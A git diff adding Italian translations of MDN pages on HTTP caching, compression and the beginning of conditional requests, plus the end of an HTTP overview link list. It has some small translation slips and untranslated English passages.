+ <dd>Una breve introduzione al concetto di risorse, identificatori e posizioni sul web.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identificare le risorse sul Web</a></dt>
+ <dd>Descrive come sono referenziate le risorse web e come individuarle.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">Data URIs</a></dt>
+ <dd>Un tipo specifico di URI che incorpora direttamente la risorsa che rappresenta. I data URIs sono molto convenienti, ma hanno qualche pecca.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Resource_URLs">Resource URLs</a> {{Non-standard_Inline}}</dt>
+ <dd>
+ <p>I Resource URLs, quelli con il prefisso dello schema delle <code>risorse</code>, sono utilizzati da Firefox e dalle estensioni del browser Firefox per caricare le risorse internamente, ma sono disponibili anche per alcuni siti a cui il browser si connette.</p>
+ </dd>
+ <dt>Separare l'identità e la posizione di una risorsa: L'intestazione HTTP Alt-Svc</dt>
+ <dd>La maggior parte delle volte l'identità e la posizione di una risorsa web sono condivise, questo può cambiare con l'intestazione <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Alt-Svc">Alt-Svc</a>.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME types</a></dt>
+ <dd>Da HTTP/1.0, possono essere trasmessi diversi tipi di contenuto. Questo articolo spiega come questo è compiuto usando l' {{HTTPHeader("Content-Type")}} header e il MIME standard.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs">Choosing between www and non-www URLs</a></dt>
+ <dd>Questo articolo fornisce indicazioni sul come scegliere se usi un www-prefixed domain o no, insieme alle conseguenze di quella scelta.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Flow_of_an_HTTP_session">Flow of an HTTP session</a></dt>
+ <dd>Questo articolo fondamentale descrive una tipica sessione HTTP:<br>
+ Cosa succede dietro le quinte quando fai clic su un collegamento nel tuo browser.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Messages">HTTP Messages</a></dt>
+ <dd>I messaggi HTTP trasmessi durante la richiesta o risposta hanno una chiara struttura. Questo articolo introduttivo descrive questa struttura, il suo scopo, e le sue possibilità.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Frame and message structure in HTTP_2">Frame and message structure in HTTP/2</a></dt>
+ <dd>HTTP/2 eincapsula e rappresenta messaggi HTTP/1.x in un frame binario. Questo articolo spiega la struttura del frame, il suo scopo, e i vari modi con il quale può essere scritto sotto forma di codice.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Connection_management_in_HTTP_1.x">Connection management in HTTP/1.x</a></dt>
+ <dd>HTTP/1.1 era la prima versione di HTTP per supportare persistent connection and pipelining. Questo articolo spiega entrambi i concetti.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Connection_management_in_HTTP_2">Connection management in HTTP/2</a></dt>
+ <dd>HTTP/2 completely revisited how connections are created and maintained. This article explains how HTTP frames allow multiplexing and solve the 'head-of-line' blocking problem of former HTTP versions.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Content_negotiation">Content Negotiation</a></dt>
+ <dd>HTTP introduces a set of headers, starting with <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Accept">Accept</a></code> as a way for a browser to announce the format, language, or encoding it prefers. This article explains how this advertisement happens, how the server is expected to react, and how it chooses the most adequate response.</dd>
+</dl>
+
+<div id="accelSnackbar"></div>
diff --git a/files/it/web/http/caching/index.html b/files/it/web/http/caching/index.html
new file mode 100644
index 0000000000..1868f9ff82
--- /dev/null
+++ b/files/it/web/http/caching/index.html
@@ -0,0 +1,187 @@
+---
+title: HTTP caching
+slug: Web/HTTP/Caching
+translation_of: Web/HTTP/Caching
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">Le prestazioni di siti web e applicazioni possono essere migliorate drasticamente riutilizzando le risorse già ottenute. Le web caches riducono la latenza e il traffico di rete, diminuendo il tempo necessario per rappresentare una risorsa. Attraverso l'uso dell'HTTP caching, i siti web diventano più responsivi.</p>
+
+<h2 id="I_diversi_tipi_di_cache">I diversi tipi di cache</h2>
+
+<p>Il caching è una tecnica che immagazzina una copia di una risorsa data e la restituisce quando richiesta. Quando una web cache ha una risorsa richiesta in memoria, intercetta la richiesta e ritorna la sua copia invece di riscaricarla dal server originale. Così si raggiungono diversi risultati: alleggerisce il carico del server che non deve più servire tutti i client da solo, e migliora le prestazioni stando più vicina al client, ad esempio, ci mette meno tempo a restituire le risorse. Per un sito web, è una componente fondamentale nell’ottenere prestazioni elevate. D’altra parte, deve essere configurato correttamente in quanto non tutte le risorse rimangono identiche per sempre. È importante mettere in cache una risorsa solo finché non cambia.</p>
+
+<p>Ci sono diversi tipi di cache: queste possono essere raggruppate in due principali categorie: private o condivise. Una cache condivisa è una cache che immagazzina risposte per essere utilizzate da più utenti. Una cache privata è una cache dedicata ad un singolo utente. Questa pagina tratterà per la maggior parte delle browser cache e di quelle del proxy, ma ci sono anche gateway cache, CDN, reverse proxy cache e load balancer che sono impiegati nei server web per maggiore affidabilità, prestazioni e scaling di siti web e applicazioni web.</p>
+
+<p><img alt="What a cache provide, advantages/disadvantages of shared/private caches." src="https://mdn.mozillademos.org/files/13777/HTTPCachtType.png" style="height: 573px; width: 910px;"></p>
+
+<h3 id="Cache_private_del_browser">Cache private del browser</h3>
+
+<p>Una cache privata è dedicata ad un singolo utente. Potresti aver già visto “caching” nelle impostazioni del tuo browser. Una browser cache conserva tutti i documenti scaricati via http dall’utente. Questa cache è usata per rendere disponibili i documenti per la navigazione avanti o indietro, salvare, vedere come risorsa, ecc. senza inviare un'altra richiesta al server. Similmente migliora la ricerca offline di contenuti in cache.</p>
+
+<h3 id="Cache_condivise">Cache condivise</h3>
+
+<p>Una cache condivisa è una cache che immagazzina risposte per essere utilizzate da più di un utente. Ad esempio, un ISP o la tua compagnia potrebbero aver impostato un web proxy come parte della sua infrastruttura network locale per servire molti utenti così che risorse popolari vengono riutilizzate più volte, riducendo il traffico di rete e la latenza.</p>
+
+<h2 id="I_soggetti_del_caching"> I soggetti del caching</h2>
+
+<p>L'HTTP caching  non è obbligatorio, ma è normalmente utile. Le HTTP caches normalmente sono limitate alle risposte a {{HTTPMethod("GET")}} e potrebbero rifiutare altri metodi. La chiave primaria della cache consiste nel metodo richiesto e nell'URI desiderato (spesso viene usato solo l'URI, in quanto solo le richieste <code>GET</code> vengono salvate nella cache).</p>
+
+<p>Informazioni che spesso vengono salvate nella cache:</p>
+
+<ul>
+ <li>Risultati ottenuti da una richiesta riuscita: una risposta {{HTTPStatus(200)}} (OK) ad una richiesta {{HTTPMethod("GET")}} contenente risorse come document HTML, immagini o file.</li>
+ <li>Reindirizzamenti permanenti: una risposta {{HTTPStatus(301)}} (Moved Permanently).</li>
+ <li>Risposte di errore: la pagina allegata ad una risposta {{HTTPStatus(404)}} (Not Found).</li>
+ <li>Risultati incompleti: una risposta {{HTTPStatus(206)}} (Partial Content).</li>
+ <li>Risposte diverse da {{HTTPMethod("GET")}} se c'è l'equivalente di una chiave.</li>
+</ul>
+
+<p>I dati inseriti possono essere composti da più risposte differenziate da una chiave secondaria se la richiesta è oggetto di scambio di contenuti. Per ulterior informazioni riguardo all'header {{HTTPHeader("Vary")}} leggi <a href="#">below</a>.</p>
+
+<h2 id="Controllare_la_cache">Controllare la cache</h2>
+
+<h3 id="Lheader_Cache-Control">L'header <code>Cache-Control</code></h3>
+
+<p>L'header generico {{HTTPHeader("Cache-Control")}} HTTP/1.1 viene usato per specificare i meccanismi del caching per richieste e risposte. Questo header può essere usato per definire le caching policies attraverso le direttive proposte.</p>
+
+<h4 id="No_caching">No caching</h4>
+
+<p>La cache non dovrebbe salvare né le richieste né le risposte. Ogni richiesta viene mandata al server, dovendo quindi riscaricare ogni volta la risposta.</p>
+
+<pre class="notranslate">Cache-Control: no-store
+</pre>
+
+<h4 id="Cache_but_revalidate">Cache but revalidate</h4>
+
+<p>La cache invia chiede una validazione da parte del server prima di fornire la sua copia.</p>
+
+<pre class="notranslate">Cache-Control: no-cache</pre>
+
+<h4 id="Private_and_public_caches">Private and public caches</h4>
+
+<p>La direttiva "public" indica che la risposta può essere salvata da qualsiasi cache. Questo può essere utile per salvare pagine con codici di risposta HTTP che normalmente non si potrebbero salvare.</p>
+
+<p>Dall'altro lato, "private" indica che la risposta è legata ad un solo utente, quindi non sarà salvata in una cache condivisa. In questo caso la risposta potrebbe essere salvata da una cache privata del browser.</p>
+
+<pre class="notranslate">Cache-Control: private
+Cache-Control: public
+</pre>
+
+<h4 id="Expiration">Expiration</h4>
+
+<p>La direttiva più importante è <code>max-age=&lt;secondi&gt;</code>, che indica il tempo massimo (in secondi) in cui la risorsa è considerata fresca ("fresh"). Questa direttiva è relativa al tempo indicato dalla richiesta e sovrascrive l'header {{HTTPHeader("Expires")}} (se impostato). I file che non mutano (come ad esempio immagini, fogli CSS e script JavaScript) sono buoni candidati per essere salvati nella cache</p>
+
+<p>Per ulteriori dettagli visita la sezione <a href="#Freshness">Freshness</a>.</p>
+
+<pre class="notranslate">Cache-Control: max-age=31536000</pre>
+
+<h4 id="Validation">Validation</h4>
+
+<p>Quando viene usata la direttiva "<code>must-revalidate</code>" la cache deve verificare lo stato della risorsa prima di usarla, evitando le risorse scadute. Per ulteriori dettagli visita la sezione <a href="#Cache_validation">Validation</a>.</p>
+
+<p>Cache-Control: must-revalidate</p>
+
+<h3 id="Lheader_Pragma">L'header <code>Pragma</code></h3>
+
+<p>{{HTTPHeader("Pragma")}} è un header HTTP/1.0. <code>Pragma: no-cache</code> corrisponde a <code>Cache-Control: no-cache</code>,  forzando quindi le cache a validare le risorse prima di utilizzarle. <code>Pragma</code> non è incluso nelle risposte HTTP, quindi non può sostituire completamente l'header <code>Cache-Control</code> presente in HTTP/1.1.</p>
+
+<p>Si dovrebbe utilizzare l'header <code>Pragma</code> solo per retrocompatibilità con le cache in HTTP/1.0, dove l'header <code>Cache-Control</code> di HTTP/1.1 non è presente.</p>
+
+<h2 id="Freschezza">Freschezza</h2>
+
+<p>Una volta che una risorsa è memorizzata in cache, potrebbe teoricamente essere servita dalla cache per sempre. Le cache hanno una memoria finita quindi gli oggetti sono periodicamente rimossi dalla memoria. Questo processo si chiama sfratto della cache (cache eviction). D’altra parte, alcune risorse possono essere cambiate sul server quindi la cache andrebbe aggiornata. Dato che l’HTTP è un protocollo client-server, i server non possono contattare le cache e i client quando una risorsa cambia; devono comunicare un tempo di scadenza per la risorsa. Prima di questa scadenza, la risorsa è fresca; dopo la scadenza, la risorsa è datata. Gli algoritmi di sfratto spesso prediligono risorse fresche a quelle datate. Da notare che una risorsa datata non è sfrattata o ignorata; quando la cache riceve una richiesta per una risorsa datata, la inoltra con un If-None-Match per verificare se è di fatto ancora fresca. In questo caso il server ritorna un 304 (Non Modificata) header senza inviare il body della risorsa richiesta, risparmiando banda.</p>
+
+<p>Qui è un esempio di questo processo con una proxy cache condivisa:</p>
+
+<p><img alt="Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale." src="https://mdn.mozillademos.org/files/13771/HTTPStaleness.png" style="height: 910px; width: 822px;"></p>
+
+<p>La durata della freschezza è calcolata secondo diversi header. Se l'header "<code>Cache-Control: max-age=N</code>" è presente la durata sarà pari ad N, altrimenti (come spesso accade) si controlla se è presente l'header {{HTTPHeader("Expires")}}. Se esiste, la durata equivale alla differenza tra il valore dell'header {{HTTPHeader("Date")}} e il valore dell'header {{HTTPHeader("Expires")}}.</p>
+
+<h3 id="Controllo_euristico_della_freschezza">Controllo euristico della freschezza</h3>
+
+<p>Se un server centrale non specifica esplicitamente la durata della freschezza (usando ad esempio gli header {{HTTPHeader("Cache-Control")}} o {{HTTPHeader("Expires")}}) potrebbe essere utilizzato un approccio euristico.</p>
+
+<p>In questo caso si cerca l'header {{HTTPHeader("Last-Modified")}}. Se presente, la freschezza è uguale alla differenza tra il valore di ques'ultimo e il valore di <code>Date</code> divisa per 10:</p>
+
+<pre class="notranslate">dataDiScadenza = orarioDellaRisposta + durataDellaFreschezza - tempoDiVitaCorrente
+</pre>
+
+<p>dove <code>tempoDiRisposta</code> è l'ora in cui la risposta è stata ricevuta dal browser. Per maggiori informazioni: <a href="https://tools.ietf.org/html/rfc7234#section-4.2.2">RFC 7234: Hypertext Transfer Protocol (HTTP/1.1): 4.2.2.  Calculating Heuristic Freshness</a>.</p>
+
+<h3 id="Revved_resources">Revved resources</h3>
+
+<p>Più si usa una risorsa in cache, più reattive saranno le risposte e le performance di un sito web. Per ottimizzarle, la norma è impostare i tempi di scadenza più in là possibile nel futuro. Questo è possibile con risorse che sono regolarmente aggiornate, o spesso, ma è problematico per risorse che vengono aggiornate raramente. Sono le risorse che beneficerebbero di più dalle cache, eppure questo le rende difficili da aggiornare. È tipico delle risorse tecniche incluse e linkate da ogni pagina web: I file Javascript e CSS cambiano di rado, ma quando succede vuoi che vengano aggiornati rapidamente.</p>
+
+<p>I web developer hanno inventato una tecnica che Steve Souders chiamò revving. File sporadicamente aggiornati sono nominati in un modo specifico: nel loro URL, solitamente nel nome del file, un numero di revisione (o versione) viene aggiunto. In questo modo ogni nuova revisione di questa risorsa viene considerata come una risorsa che non cambia e può avere un tempo di scadenza molto avanti nel futuro, di solito un anno o più. Per avere le nuove versioni, tutti i link che fanno capo a loro vanno cambiati, questa è la limitazione di questo metodo: complessità aggiuntive vengono solitamente risolti dalle tool chain usate dai web developer. Quando la risorsa che cambia di rado viene modificata, questa induce un cambiamento aggiuntivo a risorse spesso variabili. Quando vengono lette, le nuove versioni della altre vengono anch’esse lette.</p>
+
+<p>Questa tecnica ha un vantaggio aggiuntivo: aggiornare due risorse in cache nello stesso momento preverrà situazioni in cui la risorsa vecchia viene usata in combinazione con quella nuova dell’altra. Questo è molto importante quando i siti web hanno fogli CSS o script JS che hanno dipendenze reciproche, ad esempio che dipendono l’uno sull’altro perché si riferiscono agli stessi elementi HTML.</p>
+
+<p><img alt="How the revved cache mechanism works. With minor typo fix to grammar issue: https://github.com/mdn/sprints/issues/2618" src="https://mdn.mozillademos.org/files/17432/HTTPRevved_fix_typo.png" style="height: 897px; width: 787px;"></p>
+
+<p>La versione di revisione aggiunta a una revved resource non ha bisogno di essere una classica stringa di revisione come 1.1.3, o un numero che aumenta monotonamente. Può essere qualsiasi cosa che impedisca le collisioni, come un hash o una data.</p>
+
+<h2 id="Validazione_della_cache">Validazione della cache</h2>
+
+<p>Quando una risorsa presente nella cache scade può essere validata o può essere richiesta nuovamente al server. La validazione può avvenire solo se il server ha fornito un <em>validatore forte </em>(<em>strong validator</em>) o un <em>validatore debole </em>(<em>weak validator</em>).</p>
+
+<p>La rivalidazione comincia quando l'utente ricarica la pagina, oppure quando la risposta contenuta nella cache inculde l'header "<code>Cache-Control: must-revalidate</code>". Un altro fattore è costituito dalle impostazioni nel pannello <code>Avanzate-&gt;Cache</code>, dove è possibile forzare la validazione ogni volta che un documento viene caricato.</p>
+
+<h3 id="ETags">ETags</h3>
+
+<p>L'header {{HTTPHeader("ETag")}}, contenuto in una risposta, è un valore <em>opaco per lo user agent </em>(<em>op</em><em>aque-to-the-useragent</em>) che può essere usato come un validatore forte. Questo significa che uno user-agent HTTP, ad esempio un browser, non sa cosa cosa questa stringa rappresenti e non può predirne il valore. Se l'header <code>ETag</code> fosse parte di una risposta contenente una risorsa, il client può inserire {{HTTPHeader("If-None-Match")}} nell'header delle richieste future, così da validare le risorse salvate nella cache.</p>
+
+<h3 id="Last-Modified">Last-Modified</h3>
+
+<p>L'header {{HTTPHeader("Last-Modified")}}, contenuto in una risposta, può essere usato come un validatore debole. È considerato debole per via della sua risoluzione (un secondo). Se in una risposta è presente l'header <code>Last-Modified</code> il client può inserire {{HTTPHeader("If-Modified-Since")}} nell'header della richiesta per validare il documento salvato nella cache.</p>
+
+<p>Quando viene fatta una richiesta di validazione il server può ignorarla e rispondere con {{HTTPStatus(200)}} <code>OK</code>, oppure può ritornare {{HTTPStatus(304)}} <code>Not Modified</code> (senza corpo) per permettere al browser di usare il contenuto della cache. In quest'ultimo caso ci possono essere anche altri header che aggiornano la data di scadenza del documento salvato nella cache.</p>
+
+<h2 id="Variare_le_risposte">"Variare" le risposte</h2>
+
+<p>L'header delle risposte HTTP {{HTTPHeader("Vary")}} indica gli header con cui usare una risposta salvata nella cache.</p>
+
+<p>Quando una cache riceve una richiesta contenente l'header <code>Vary</code> non deve usare una risposta salvata nella cache, a meno che tutti gli header contenuti nel campo <code>Vary</code> corrispondano agli header contenuti nella cache.</p>
+
+<p><img alt="The Vary header leads cache to use more HTTP headers as key for the cache." src="https://mdn.mozillademos.org/files/13769/HTTPVary.png" style="height: 817px; width: 752px;">Questa proprietà viene principalmente usata per salvare nella cache una risorsa non compressa o compressa in vari formati, per inviarla poi agli user agent a seconda delle codifiche che supportano. Per esempio, un server può impostare <code>Vary: Accept-Encoding</code> per assicurarsi che la risorsa sia salvata nella cache secondo le codifiche richieste, come <code>Accept-Encoding: gzip,deflate,sdch</code>.</p>
+
+<pre class="notranslate">Vary: <code>Accept-Encoding</code>
+</pre>
+
+<div class="note"><strong>Nota:</strong> Usa <code>Vary</code> cautamente—può ridurre drasticamente i vantaggi del caching! Un caching server dovrebbe usare la <a href="#normalization">normalizzazione</a> per rimuovere duplicati e richieste non necessarie. Questo si verifica particolarmente quando si usa <code>Vary</code> con header che possono accettare diversi valori.</div>
+
+<p>L'header <code>Vary</code> può tornare utile per fornire contenuti diversi a utenti mobili o desktop, o per permettere ai motori di ricerca di ottenere la versione mobile di una pagina (specificando opzionalmente che non c'è <a href="https://en.wikipedia.org/wiki/Cloaking">Cloaking</a>). Questo viene attuato con l'header <code>Vary: User-Agent</code>, dato che il valore dell'header {{HTTPHeader("User-Agent")}} è diverso tra desktop e mobile.</p>
+
+<pre class="notranslate">Vary: User-Agent
+</pre>
+
+<h3 id="Normalizzazione">Normalizzazione</h3>
+
+<p>Come anticipato sopra, i caching server utilizzerano le risposte salvate nella cache <em>solo</em> con le richieste i cui header (e valori annessi) corrispondono <em>esattamente </em>alle risposte salvate. Questo significa che per ogni piccola differenza verrà fatta una nuova richiesta al server centrale, che verrà poi salvata nella cache.</p>
+
+<p>Per esempio, tutte le richieste con i seguenti header verranno richieste al server, per poi essere salvate nella cache: <code>Accept-Encoding: gzip,deflate,sdch</code>, <code>Accept-Encoding: gzip,deflate</code>, <code>Accept-Encoding: gzip</code>. Probabilmente, però, il server centrale risponderà sempre con la stessa risorsa (un file gzip)!</p>
+
+<p>Per evitare duplicati e richieste non necessarie, i caching server dovrebbero usare la <strong>normalizzazione </strong>per pre-processare le richieste e per salvare solo i file necessari nella cache. Ad esempio, nel caso di <code>Accept-Encoding</code> si possono controllare <code>gzip</code> e gli altri tipi di compressione prima di procedere. In "pseudo codice" si può codificare come:</p>
+
+<pre class="notranslate"><code>// Normalizza Accept-Encoding
+if (req.http.Accept-Encoding) {
+  if (req.http.Accept-Encoding ~ "gzip") {
+    set req.http.Accept-Encoding = "gzip";
+  }
+  // elsif other encoding types to check
+else {
+  unset req.http.Accept-Encoding;
+  }
+}</code>
+</pre>
+
+<p><code>User-Agent</code> ha ancora più varianti di <code>Accept-Encoding</code>. Quindi s <code>Vary: User-Agent</code> viene utilizzato per salvare nella cache le varianti dei file per mobile/desktop si potrebbe controllare se <code>"mobile"</code> e <code>"desktop"</code> sono presenti nell'header <code>User-Agent</code>.</p>
+
+<h2 id="Guarda_anche">Guarda anche</h2>
+
+<ul>
+ <li><a href="https://tools.ietf.org/html/rfc7234">RFC 7234: Hypertext Transfer Protocol (HTTP/1.1): Caching</a></li>
+ <li><a href="https://www.mnot.net/cache_docs">Caching Tutorial – Mark Nottingham</a></li>
+ <li><a href="https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching">HTTP caching – Ilya Grigorik</a></li>
+ <li><a href="https://redbot.org/">RedBot</a>, a tool to check your cache-related HTTP headers.</li>
+</ul>
diff --git a/files/it/web/http/compressione/index.html b/files/it/web/http/compressione/index.html
new file mode 100644
index 0000000000..59154440d8
--- /dev/null
+++ b/files/it/web/http/compressione/index.html
@@ -0,0 +1,67 @@
+---
+title: Compressione in HTTP
+slug: Web/HTTP/Compressione
+translation_of: Web/HTTP/Compression
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">La <strong>compressione</strong> è un valido modo per incrementare le performance di un sito web. Per alcuni documenti, infatti, la riduzione del peso fino al 70% permette di dimiuire la larghezza di banda necessaria. Nel corso degli anni, inoltre, gli algoritmi sono diventati più efficienti e allo stesso tempo client e server ne supportano di nuovi.</p>
+
+<p>A livello pratico non è necessario che gli sviluppatori web implementino dei meccanismi di compressione, dato che sia browser che server li hanno già implementati, ma devono tuttavia assicurarsi che il server sia adeguatamente configurato. La compressione avviene a tre livelli differenti:</p>
+
+<ul>
+ <li>prima alcuni formati di file vengono compressi con  specifici metodi ottimizzati,</li>
+ <li>quindi la crittografia generale può avvenire a livello HTTP (la risorsa viene trasmessa compressa da un capo all'altro),</li>
+ <li>e infine la compressione può essere definita a livello di connessione, tra due nodi di una connessione HTTP.</li>
+</ul>
+
+<h2 id="Formato_di_compressione_dei_file">Formato di compressione dei file</h2>
+
+<p>Ogni tipo di dati ha una certa ridondanza, ovvero uno spreco di spazio. Se il testo può in genere avere una ridondanza fino al 60%, questa percentuale può essere molto più alta per altri media come audio e video. A differenza del testo, questi altri tipi di supporti utilizzano molto spazio per archiviare i dati, di conseguenza la necessità di ottimizzare l'archiviazione e recuperare spazio si manifestò fin da subito. Gli ingegneri hanno progettato l'algoritmo di compressione ottimizzato utilizzato dai formati di file progettati per questo scopo specifico. Gli algoritmi di compressione utilizzati per i file possono essere raggruppati in due grandi categorie:</p>
+
+<ul>
+ <li><em>Compressione loss-less (senza perdite), in cui il ciclo di compressione-decompressione non altera i dati recuperati, che corrisponderanno (byte per byte) all'originale.<br>
+  Ad esempio, nel caso delle immagini, gif e png utilizzano la compressione senza perdite.</em></li>
+ <li><em>Compressione lossy (con perdita), in cui il ciclo altera i dati originali in maniera (auspicabilmente) impercettibile per l'utente.<br>
+  I formati video sul Web sono con perdite; anche il formato di immagine jpeg è con perdita di dati.</em></li>
+</ul>
+
+<p>Alcuni formati possono essere utilizzati sia per la compressione <em>loss-less</em> che <em>lossy</em>, come ad esempio webp, e di solito l'algoritmo di compressione con perdita può essere configurato per comprimere più o meno, il che ovviamente porta a una qualità inferiore o superiore. Per migliorare le prestazioni di un sito Web l'ideale è comprimerlo il più possibile, mantenendo allo stesso tempo un livello di qualità accettabile. Per le immagini, un'immagine generata da uno strumento potrebbe non essere sufficientemente ottimizzata per il Web; si consiglia di utilizzare strumenti che comprimeranno il più possibile con la qualità richiesta. Esistono <a href="https://www.creativebloq.com/design/image-compression-tools-1132865">numerosi strumenti</a> specializzati per questo.</p>
+
+<p>Gli algoritmi di compressione lossy sono generalmente più efficienti di quelli lossless.</p>
+
+<div class="note">
+<p>Poiché la compressione funziona meglio su un tipo specifico di file, di solito non fornisce nulla per comprimerli una seconda volta. In effetti, questo è spesso controproducente in quanto il costo del sovraccarico (gli algoritmi di solito richiedono un dizionario che si aggiunge alla dimensione iniziale) può essere superiore al guadagno extra nella compressione risultando in un file più grande. Non utilizzare le due seguenti tecniche per i file in un formato compresso.</p>
+</div>
+
+<h2 id="Compression_End-to-end">Compression End-to-end</h2>
+
+<p>Per la compressione, la compressione end-to-end è il luogo in cui risiedono i maggiori miglioramenti delle prestazioni dei siti Web. La compressione end-to-end si riferisce a una compressione del corpo di un messaggio che viene eseguita dal server e durerà inalterata fino a quando non raggiunge il client. Qualunque siano i nodi intermedi, lasciano il corpo intatto.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13801/HTTPEnco1.png" style="height: 307px; width: 955px;"></p>
+
+<p>Tutti i browser e server moderni lo supportano e l'unica cosa da negoziare è l'algoritmo di compressione da utilizzare. Questi algoritmi sono ottimizzati per il testo. Negli anni '90, la tecnologia di compressione stava avanzando a un ritmo rapido e numerosi algoritmi successivi sono stati aggiunti alla serie di scelte possibili. Al giorno d'oggi, solo due sono rilevanti: gzip, il più comune, e br il nuovo sfidante.</p>
+
+<p>Per selezionare l'algoritmo da utilizzare, i browser e i server utilizzano la negoziazione proattiva dei contenuti. Il browser invia un'intestazione {{HTTPHeader ("Accept-Encoding")}} con l'algoritmo che supporta e il suo ordine di precedenza, il server ne sceglie uno, lo utilizza per comprimere il corpo della risposta e utilizza {{HTTPHeader (" Content-Encoding ")}} per indicare al browser l'algoritmo che ha scelto. Poiché la negoziazione del contenuto è stata utilizzata per scegliere una rappresentazione basata sulla sua codifica, il server deve inviare un'intestazione {{HTTPHeader ("Vary")}} contenente almeno {{HTTPHeader ("Accept-Encoding")}} accanto a questa intestazione in la risposta; in questo modo, le cache saranno in grado di memorizzare nella cache le diverse rappresentazioni della risorsa.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13811/HTTPCompression1.png" style="height: 307px; width: 771px;"></p>
+
+<p>Poiché la compressione apporta miglioramenti significativi alle prestazioni, si consiglia di attivarla per tutti i file, ma già compressi come immagini, file audio e video.</p>
+
+<p>Apache supporta la compressione e utilizza mod_deflate; per nginx c'è ngx_http_gzip_module; per IIS, l'elemento &lt;httpCompression&gt;.</p>
+
+<h2 id="Hop-by-hop_compression">Hop-by-hop compression</h2>
+
+<p>La compressione hop-by-hop, sebbene simile alla compressione end-to-end, differisce per un elemento fondamentale: la compressione non avviene sulla risorsa nel server, creando una rappresentazione specifica che viene poi trasmessa, ma sul corpo di il messaggio tra due nodi qualsiasi sul percorso tra il client e il server. Le connessioni tra i nodi intermedi successivi possono applicare una compressione diversa.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13807/HTTPTE1.png"></p>
+
+<p>Per fare ciò, HTTP utilizza un meccanismo simile alla negoziazione del contenuto per la compressione end-to-end: il nodo che trasmette la richiesta annuncia la sua volontà utilizzando l'intestazione {{HTTPHeader ("TE")}} e l'altro nodo sceglie il metodo adeguato , lo applica e indica la sua scelta con l'intestazione {{HTTPHeader ("Transfer-Encoding")}}.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13809/HTTPComp2.png"></p>
+
+<p>I</p>
+
+<p>In pratica, la compressione hop-by-hop è trasparente per il server e il client ed è usata raramente. {{HTTPHeader ("TE")}} e {{HTTPHeader ("Transfer-Encoding")}} sono usati principalmente per inviare una risposta a blocchi, consentendo di iniziare a trasmettere una risorsa senza conoscerne la lunghezza.</p>
+
+<p>Si noti che l'utilizzo di {{HTTPHeader ("Transfer-Encoding")}} e la compressione a livello di hop è così raro che la maggior parte dei server, come Apache, nginx o IIS, non ha un modo semplice per configurarlo. Tale configurazione di solito avviene a livello di proxy.</p>
diff --git a/files/it/web/http/conditional_requests/index.html b/files/it/web/http/conditional_requests/index.html
new file mode 100644
index 0000000000..f8cfdbee7f
--- /dev/null
+++ b/files/it/web/http/conditional_requests/index.html
@@ -0,0 +1,144 @@
+---
+title: Richieste Condizionali HTTP
+slug: Web/HTTP/Conditional_requests
+translation_of: Web/HTTP/Conditional_requests
+---
+<p>{{HTTPSidebar}}</p>
+
+<p class="summary">HTTP ha il concetto delle richieste condizionali, dove il risultato, e addirittura il successi di una richiesta, può essere cambiato comparando la risorsa coinvolta con il valore di un <em>validator</em>. Questo tipo di richieste può essere utile per validare il contenuto di una cache, risparmiando un controllo inutile, per verificare l'integrità di un documento, per esempio quando si fa ripartire un download, o quando si previene la perdita di update, quando si fa l'upload o la modifica di un documento su un server.</p>
+
+<h2 id="Principi">Principi</h2>
+
+<p>Le richieste condizionali HTTP sono richieste che sono eseguite differnetemente, in base al valore di specifici headers. Questi headers definiscono una precondizione, e il risultato della richiesta cambierà se la precondizione è soddisfatta o no .</p>
+
+<p>I diversi comportamenti sono definiti dal metodo di richiesta usato, e dagli headers usati per  una precondizione:</p>
+
+<ul>
+ <li>per metodi {{glossary("safe")}}, per esempio {{HTTPMethod("GET")}}, che di solito prova a fare un ferch del documento, la richiesta condizionale può essere usata per rimandare indietro il documento, solo se è di rilievo. Questo quindi fa risparmiare bandwidth.</li>
+ <li>per metodi {{glossary("safe", "unsafe")}}, per esempio {{HTTPMethod("PUT")}}, che di solito fa l'upload di un documento, a richiesta condizionale può essere usata per fare l'upload del documento, solo se l'originale è su qui è basato è lo stesso che è contenuto nel server.</li>
+</ul>
+
+<h2 id="Validatori">Validatori</h2>
+
+<p>Tutti gli header condizionali provano a controllare se la risorsa contenuta nel sever corrisponde a una versione specifica. Per fare questo,la richiesta condizionale deve indicare la versione della risorsa. Visto che comparare l'intera risorsa byte per byte è impraticabile, è non sempre è quello che si vuole, la richiesta trasmette un valore che descrive la  versione. Questi valore sono chiamati <em>validatori, </em> e possono essere di due tipi:</p>
+
+<ul>
+ <li>la data dell'ultima modifica del documento, the <em>last-modified</em> date.</li>
+ <li>una stringa opaca, che identifica univocamente ogni versione, chiamata <em>entity tag</em>, o la <em>etag</em>.</li>
+</ul>
+
+<p>Comparare le versioni della stessa risorsa è un po difficile: a seconda del contesto, ci possono essere due tipi di <em>equality checks</em>:</p>
+
+<ul>
+ <li><em>La validazione forte </em>è usata quando ci si aspetta l'eguaglianza byte per byte, per esempio quando si fa ripartire un download</li>
